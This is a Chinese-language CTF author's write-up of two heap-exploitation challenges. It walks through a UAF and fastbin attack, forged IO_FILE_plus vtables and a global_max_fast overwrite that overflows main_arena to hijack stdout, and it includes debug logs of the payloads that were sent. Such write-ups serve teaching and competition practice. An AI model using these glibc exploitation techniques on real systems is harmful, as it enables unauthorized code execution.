这次的胖哈博杯我出了Pwn400、Pwn500两道题目,这里讲一下出题和解题的思路。我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限。但是我研究了一些最近的题目发现,Pwn题目逐步从考察利用技巧变为考察逻辑思维。
我这次的两道题目主要是围绕IO_FILE的利用展开,其次是注重考察利用思路。
Welcome to life Crowdfunding~~
==============================
1.Create a Crowdfunding
2.Edit my Crowdfunding
3.Delete my Crowdfunding
4.Show my Crowdfunding
5.Submit
==============================
6.SaveAdvise
7.exit
==============================
Pwn400是个常见的选单程序,提供6个功能,开启了NX、CANARY没有开启PIE和RELRO,程序一共存在两个漏洞。
第一个漏洞是一个UAF,比较容易发现,在3号Delete功能中释放堆内存之后并没有把指针清零。
第二个漏洞是一个堆溢出,同样很明显,title的内容在读入时会溢出8个字节覆盖到advise块的头部。
我设计这道题目的时候设置了两个难点,第一是如何进行信息泄露(leak),第二是如何劫持流程。
通过fastbin的UAF可以很容易的想到进行fastbin attack,但是这不是我的考查点,因为fastbin attack大家都很熟悉,就像我前面所说的我题目设计的难点不是漏洞利用的技巧(这些大家都很熟悉的东西再出也没什么意思了)而是一种逻辑。对于这道题就是怎么把一个UAF转化成信息泄漏,通过分析代码你可以发现题目里面唯一一次的输出机会是在选项错误的时候
而fastbin attack的效果恰好是任意地址分配,那么这时候就应该有如下的思路:
Use-After-Free==>fastbin attack==>overwrite bss_name_ptr==>信息泄漏(Leak libc)
这个就是我说的第一个难点,fastbin很简单、UAF也不难发现,难的是要想到利用bss_name_ptr做泄漏。
在拿到Libc基址之后,就要对第二个漏洞进行利用去拿权限,经常做Pwn的选手看到这种只能覆盖到Chunk头的溢出就应该能联想到overlapping的利用方式。一般来说overlapping可以做很多事,但是我这里限制了堆的分配和释放次数
所以这里overlapping的效果只能是控制堆块的内容,到目前为止虽然我们可以控制内容但是这一切操作都没有办法劫持到程序流程。因此就引出了第二个考察点,控制谁的内容能劫持程序流程?
答案存在于这里
我们可以想办法把fopen分配的IO_FILE_plus置于发生overlapping的堆块之后,然后进行extend chunk再去修改它的内容以达成劫持流程的目的。
那么这个可以实现吗?从代码来看是可行的,调试一下会发现IO_FILE_plus的大小正好在500字节左右,进行extend chunk正好满足32~1024的限制条件。
为了控制bss_name_ptr的值需要在输入name的时候在data段上构造一个伪chunk头,这里正好是0x20大小
[DEBUG] Received 0xfa bytes:
'Welcome to life Crowdfunding~~\n'
'\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'6.SaveAdvise\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x1c bytes:
'well,give me your name pls.\n'
[DEBUG] Sent 0x12 bytes:
00000000 61 61 61 61 61 61 61 61 00 00 00 00 00 00 00 00 │aaaa│aaaa│····│····│
00000010 21 0a │!·│
00000012
chunk header构造好就是万事俱备只欠东风
通过Create、Delete、Edit的UAF就可以进行fastbin attack篡改bss_name_ptr
[DEBUG] Received 0xfe bytes:
'Aha We have already have +1 seconds\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'6.SaveAdvise\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0xfb bytes:
'OK,the Crowdfunding is deleted!\n'
'\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'6.SaveAdvise\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x10 bytes:
'inputs seconds:\n'
[DEBUG] Sent 0x8 bytes:
'6299848\n'
[DEBUG] Received 0x100 bytes:
'Ok,the Crowdfunding is +6299848s now!\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'6.SaveAdvise\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'5\n'
[DEBUG] Received 0x24 bytes:
'Are you sure submit this post?(Y/N)\n'
[DEBUG] Sent 0x1 bytes:
'Y' * 0x1
[DEBUG] Received 0x20 bytes:
'Pls give me your e-mail address\n'
[DEBUG] Sent 0x9 bytes:
'bbbbbbbb\n'
[DEBUG] Received 0x51 bytes:
'OK,e-mail has already posted\n'
'The last step is do you want to leave some message?\n'
[DEBUG] Sent 0x9 bytes:
00000000 18 20 60 00 00 00 00 00 0a │· `·│····│·│
00000009
之后故意输入错误选项输出bss_name_ptr,来获取Libc基地址
[DEBUG] Received 0xdb bytes:
'\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'6.SaveAdvise\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x3 bytes:
'10\n'
[DEBUG] Received 0xfd bytes:
=====>free_addr :0x7f8e1a15f940
=====>sys_addr :0x7f8e1a121390
=====>std_err :0x7f8e1a4a0540
至此第一步操作信息泄漏已经完成
第二步操作是进行extend chunk来控制IO_FILE_plus的vtable实现劫持流程
通过向40字节的块中写入48字节来对后面的IO_FILE_plus堆块进行extend heap,extend heap是比较常见的技术,这里不再详述了。
[DEBUG] Received 0x17 bytes:
'Pls input advise size:\n'
[DEBUG] Sent 0x3 bytes:
'40\n'
[DEBUG] Received 0x11 bytes:
'Pls input tiltle\n'
[DEBUG] Sent 0x31 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 61 02 00 00 00 00 00 00 │AAAA│AAAA│a···│····│
00000030 0a │·│
00000031
之后需要首先获取堆的基地址,如果不获取基地址vtable就没法构造
[DEBUG] Received 0x111 bytes:
'Pls input your advise\n'
'OK!(Advise allocate on 0xf25470)\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'6.SaveAdvise\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
=====>heap_base :0xf25410
接下来我们来控制extend出来的overlapping chunk的内容。
输入自行构造的IO_FILE_plus,其中vtable我们根据前面获取到的堆基地址进行构造。在构造vtable时直接填充指针就可以,但是IO_FILE_plus却不行(否则会crash),必须先行根据libc版本调试获取IO_FILE_plus里面的数据内容,然后在构造的时候进行填充。因为调用vtable函数的时候会把IO_FILE_plus的指针作为第一个参数传入,因此我们在构造IO_FILE_plus时在最前面加上"/bin/sh"。
[DEBUG] Received 0x16 bytes:
'Pls input your advise\n'
[DEBUG] Sent 0x189 bytes:
00000000 2f 62 69 6e 2f 73 68 00 00 00 00 00 00 00 00 00 │/bin│/sh·│····│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000060 00 00 00 00 00 00 00 00 40 95 6f c9 97 7f 00 00 │····│····│@·o·│····│
00000070 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000080 00 00 00 00 00 00 00 00 80 55 f2 00 00 00 00 00 │····│····│·U··│····│
00000090 ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 │····│····│····│····│
000000a0 90 55 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 │·U··│····│····│····│
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000c0 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000d0 00 00 00 00 00 00 00 00 80 55 f2 00 00 00 00 00 │····│····│·U··│····│
000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000f0 90 a3 37 c9 97 7f 00 00 90 a3 37 c9 97 7f 00 00 │··7·│····│··7·│····│
至此这道题就成功的利用了
Pwn500是我花了比较大的力气出的一道题,如果你观察国内一些质量比较差的CTF会发现Pwn基本上就是那几种套路大家抄来抄去的没什么意思。相反一些高质量的比赛诸如Hitcon、0CTF,总会有一些新东西可以让人眼前一亮,通过题目能够让选手学到一些新知识。我这次Pwn500的设计之初就给自己定了一个目标,凡是以前CTF出现过的玩法我这次绝对不出,从结果来看这次创新还是比较成功的。
Pwn500是个有二级选单的题目
welcome to House of lemon
This is a lemon store.
Here is our lemon types list:
1.Meyer lemon
2.Ponderosa lemon
3.Leave advise
4.Submit
Now you have 10$
Pls input your choice:
这道题目一共有两个漏洞,开启了所有的保护(因此.got表因RELRO不可写,比赛中有选手特意问过我这个)
第一个漏洞是在4号Submit功能中存在一个内存未初始化漏洞,这个漏洞没有对栈上的内存进行初始化就直接使用了,如果我们以特定的顺序调用函数,这个漏洞就可以读到前面函数遗留下来的栈内容从而导致信息泄漏。
第二个漏洞相当明显,在向16个字节的结构读入数据时使用了错误的大小导致指针被覆盖
由于不存在使用指针进行的读写等操作,所以指针覆盖并不会直接导致任意地址读写的结果。但是这个链表并不是普通的单链表,我是使用如下代码进行的link和unlink:
link
bck=data_start.bk;
data_start.bk=ptr;
ptr->fd=&data_start;
ptr->bk=bck;
bck->fd=ptr;
unlink
ul=data_start.bk;
bck=ul->bk;
data_start.bk=bck;
bck->fd=&data_start;
如果你熟悉ptmalloc的源码或是经常做Pwn,那么可能很快就意识到这个其实就是unsorted bin的连接方式(比如鸡丁师傅直接就看出是unsorted bin,厉害的很),所以我这里实质上是提供了一个unsorted attack。
其实我本来是想直接设置一个unsorted attack的,但是实际调试后发现会影响后续的利用步骤,索性按照unsorted attack的组织方式写了一个链表提供了一个任意地址写固定值的机会。
此外要强调的一点是题目中的每种操作基本上都只能做1次,这个限制就断绝了其他利用方法的可能。
我个人认为这道题是相当难的,需要对libc有很深入的了解,并且思维要开阔。难点有2个,第一个是拿到任意地址写固定值后选择往何处写,第二是如何进行main_arena overflow。
首先肯定是需要泄漏地址,我限制了泄漏函数只能使用一次,这样一来泄漏的内容就只能是栈地址、堆地址、Libc地址、主模块地址(因为开启了PIE)中的一个。对于利用来说,我们肯定选择Libc地址进行泄漏。
从溢出到unsorted attack不必多说,拿到unsorted attack之后最大的问题要写的目标是谁。
由于unlink造成的写只能写固定值,并且这个值所代表的地址的内容并不为我们所控(data段上的data_start地址)。因此这里的写不能通过写malloc_hook、_IO_list_all、vtable等结构直接获取shell。
设计的思路是写global_max_fast,这个值位于glibc的bss段上,初始时为0在堆经过初始化后会被赋为0x80(x64)。我们知道fastbin是存在一个大小边界的,只有小于这个边界值的堆块才会使用fastbin的机制管理,一般来说x86上是64字节,x64上是128字节。其实这个边界就是global_max_fast,如果我们修改了这个边界值会导致归属于fastbin块的范围发生变化。
其实对global_max_fast动手脚不是第一次出现在CTF中,在去年的0CTF中同样有一道题目是通过任意地址写global_max_fast来进行的利用。不过单纯的把global_max_fast改大并不能让我们控制到程序的执行流程,真正的问题出在_int_free中
在_int_free中,首先验证了释放块的大小与global_max_fast的关系,之后使用fastbin_index由chunk size计算下标
然而fastbin_index宏只是简单的根据size大小计算index值,这样如果我们在前面使用过大的size值就会导致main_arena溢出。
事实上2004年发表的《Malloc Maleficarum》中就提到过这一点,做Pwn的同学应该都读过这篇经典文章,文章中作者把这种利用方法称为House of Prime。但是House of Prime实际上是实现不了的,不仅HoP实现不了而且其中很多东西都存在问题,正像一个外国人评价的
When the “Malloc Maleficarum” was published, as it was a purely theoretical article, contained no real exploit implementations or practical examples.
虽然House of Prime不能实现,但是_int_free在计算fastbin的下标时的确是存在问题,而这也是我这道House of Lemon的出题思路。如果你仔细研究过glibc你应该会知道标准的输入输出流(stdin、stdout)都是位于glibc模块的data段的,用户程序使用的是这一结构的指针。如果你再细心一点你会发现stdin、stdout正好被编译在main_arena后面,就是说如果fastbin的尺寸合适是可以溢出main_arena覆盖到后面stdout\stdin结构的。我们知道堆中释放的内存只是逻辑上的释放,实际上的内存映射并不会取消,那么我们可以先在合适尺寸的堆中填入伪造的函数指针,再释放这个堆就可以溢出main_arena覆盖标准流的vtable从而劫持程序流程。
首先任意调用一个函数,目的是在栈上留存一些数据,然后调用4号功能泄漏出未初始化的内存。
[DEBUG] Received 0xf4 bytes:
'\n'
'welcome to House of lemon\n'
'This is a lemon store.\n'
'\n'
'Here is our lemon types list:\n'
'1.Meyer lemon\n'
'2.Ponderosa lemon\n'
'3.Leave advise\n'
'4.Submit\n'
'\n'
'Now you have 0$\n'
'Pls input your choice:\n'
[DEBUG] Sent 0x2 bytes:
'4\n'
'Hello VipLeave your information\n'
'Pls input your phone number first:\n'
[DEBUG] Sent 0x2 bytes:
'a\n'
[DEBUG] Received 0x1f bytes:
'Ok,Pls input your home address\n'
[DEBUG] Sent 0x29 bytes:
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n'
[DEBUG] Received 0xf0 bytes:
00000000 4f 4b 2c 79 6f 75 72 20 69 6e 70 75 74 20 69 73 │OK,y│our │inpu│t is│
00000010 3a 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │:bbb│bbbb│bbbb│bbbb│
00000020 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │bbbb│bbbb│bbbb│bbbb│
00000030 62 62 62 62 62 62 62 62 62 90 ae 55 95 22 7f 0a │bbbb│bbbb│b··U│·"··│
00000040 77 65 6c 63 6f 6d 65 20 74 6f 20 48 6f 75 73 65 │welc│ome │to H│ouse│
00000050 20 6f 66 20 6c 65 6d 6f 6e 0a 54 68 69 73 20 69 │ of │lemo│n·Th│is i│
00000060 73 20 61 20 6c 65 6d 6f 6e 20 73 74 6f 72 65 2e │s a │lemo│n st│ore.│
00000070 0a 0a 48 65 72 65 20 69 73 20 6f 75 72 20 6c 65 │··He│re i│s ou│r le│
00000080 6d 6f 6e 20 74 79 70 65 73 20 6c 69 73 74 3a 0a │mon │type│s li│st:·│
00000090 31 2e 4d 65 79 65 72 20 6c 65 6d 6f 6e 0a 32 2e │1.Me│yer │lemo│n·2.│
000000a0 50 6f 6e 64 65 72 6f 73 61 20 6c 65 6d 6f 6e 0a │Pond│eros│a le│mon·│
000000b0 33 2e 4c 65 61 76 65 20 61 64 76 69 73 65 0a 34 │3.Le│ave │advi│se·4│
000000c0 2e 53 75 62 6d 69 74 0a 0a 4e 6f 77 20 79 6f 75 │.Sub│mit·│·Now│ you│
000000d0 20 68 61 76 65 20 30 24 0a 50 6c 73 20 69 6e 70 │ hav│e 0$│·Pls│ inp│
000000e0 75 74 20 79 6f 75 72 20 63 68 6f 69 63 65 3a 0a │ut y│our │choi│ce:·│
000000f0
=====>leak_addr :0x7f229555ae90
=====>libc_base :0x7f2295526960
=====>system_addr :0x7f229556bcf0
=====>max_fast :0x7f22958ec158
之后新建一个Lemon以获得一个任意地址写固定值的机会,我们把写的目标设为global_max_fast
[DEBUG] Received 0x94 bytes:
'\n'
'You choice the Meyer lemon!\n'
'1.Information about Meyer lemon\n'
'2.Add to my cart\n'
'3.Remove from my cart\n'
'4.Leave Message\n'
'5.back..\n'
'Pls Input your choice:\n'
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0xb bytes:
'Get Input:\n'
[DEBUG] Sent 0x21 bytes:
00000000 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 │cccc│cccc│cccc│cccc│
00000010 48 c1 8e 95 22 7f 00 00 48 c1 8e 95 22 7f 00 00 │H···│"···│H···│"···│
00000020 0a │·│
00000021
然后根据计算好的溢出距离新建一个chunk,之后我们会释放这个chunk从而溢出main_arena
[DEBUG] Received 0x36 bytes:
'1.leave advise\n'
'2.edit advise\n'
'3.delete advise\n'
'4.return\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x16 bytes:
'Input size(200~8000):\n'
[DEBUG] Sent 0x5 bytes:
'6064\n'
之后我们对链表进行unlink覆写global_max_fast,注意必须要先分配chunk再去覆写global_max_fast,因为此时的chunk尚属于large chunk否则就会在_int_malloc中发生crash。
[DEBUG] Received 0xb1 bytes:
'\n'
'welcome to House of lemon\n'
'This is a lemon store.\n'
'\n'
'Here is our lemon types list:\n'
'1.Meyer lemon\n'
'2.Ponderosa lemon\n'
'3.Leave advise\n'
'4.Submit\n'
'\n'
'Now you have 0$\n'
'Pls input your choice:\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x94 bytes:
'\n'
'You choice the Meyer lemon!\n'
'1.Information about Meyer lemon\n'
'2.Add to my cart\n'
'3.Remove from my cart\n'
'4.Leave Message\n'
'5.back..\n'
'Pls Input your choice:\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
因为我们已经在chunk中布置好了fake function pointer了,这里直接释放chunk就可以成功覆写到stdout的IO_FILE_plus的vtable。
[DEBUG] Received 0xb1 bytes:
'\n'
'welcome to House of lemon\n'
'This is a lemon store.\n'
'\n'
'Here is our lemon types list:\n'
'1.Meyer lemon\n'
'2.Ponderosa lemon\n'
'3.Leave advise\n'
'4.Submit\n'
'\n'
'Now you have 0$\n'
'Pls input your choice:\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0x36 bytes:
'1.leave advise\n'
'2.edit advise\n'
'3.delete advise\n'
'4.return\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
至此只要等到程序流程执行到输出函数就可以成功的劫持流程了。
感谢你看到了这里,实际上由于我少了加了一个验证,Pwn500题目存在一个非常简单的漏解,不知道你发现了没有😛